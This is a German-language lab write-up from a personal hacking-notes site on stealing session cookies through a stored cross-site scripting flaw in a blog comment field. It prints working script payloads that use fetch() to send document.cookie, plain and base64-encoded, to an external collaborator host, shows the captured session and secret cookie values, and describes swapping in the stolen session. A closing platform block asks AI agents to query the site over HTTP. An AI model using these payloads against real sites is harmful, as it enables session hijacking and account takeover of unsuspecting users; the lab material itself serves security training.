> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/cookie-theft-via-xss.md).

# Cookie-Diebstahl via XSS

### Ausnutzen von Cross-Site-Scripting zum Stehlen von Cookies

Im Labor gibt es eine gespeicherte XSS-Schwachstelle in der Blog-Kommentarfunktion. Ein Opferbenutzer liest die Kommentare nach der Veröffentlichung. Das Lernziel ist zu verstehen, wie eine clientseitige Injektion zur Exfiltration von Sitzungsinformationen führen kann und wie man sich davor schützt.

Das Kommentarfeld wendet für Benutzereingaben keine ausreichende Kodierung oder Escape-Zeichen an, sodass der Browser Inhalte injizieren kann, wenn ein anderer Benutzer die Seite anzeigt.

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/0de7926d166998812f07f3ebc12513afb8d7d2fc" alt="" width="527"><figcaption></figcaption></figure>

Wir verwenden `fetch` um Anfragen zu senden:

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

Die Anfrage erreicht die lauschende Infrastruktur.

<figure><img src="/files/63d8295bf8a4001a60aebdbf4379373a7c8c07c2" alt=""><figcaption></figcaption></figure>

Wir senden das Session-Cookie:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="/files/0ece29012c2105e56b8f902fa60343d40280c084" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

Wir ersetzen dann das Session-Cookie.

<figure><img src="/files/7fb691fb2b5e258c0e10e20c40388c4b3c97d132" alt=""><figcaption></figcaption></figure>

Sie können den Inhalt vor dem Senden auch in Base64 kodieren:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
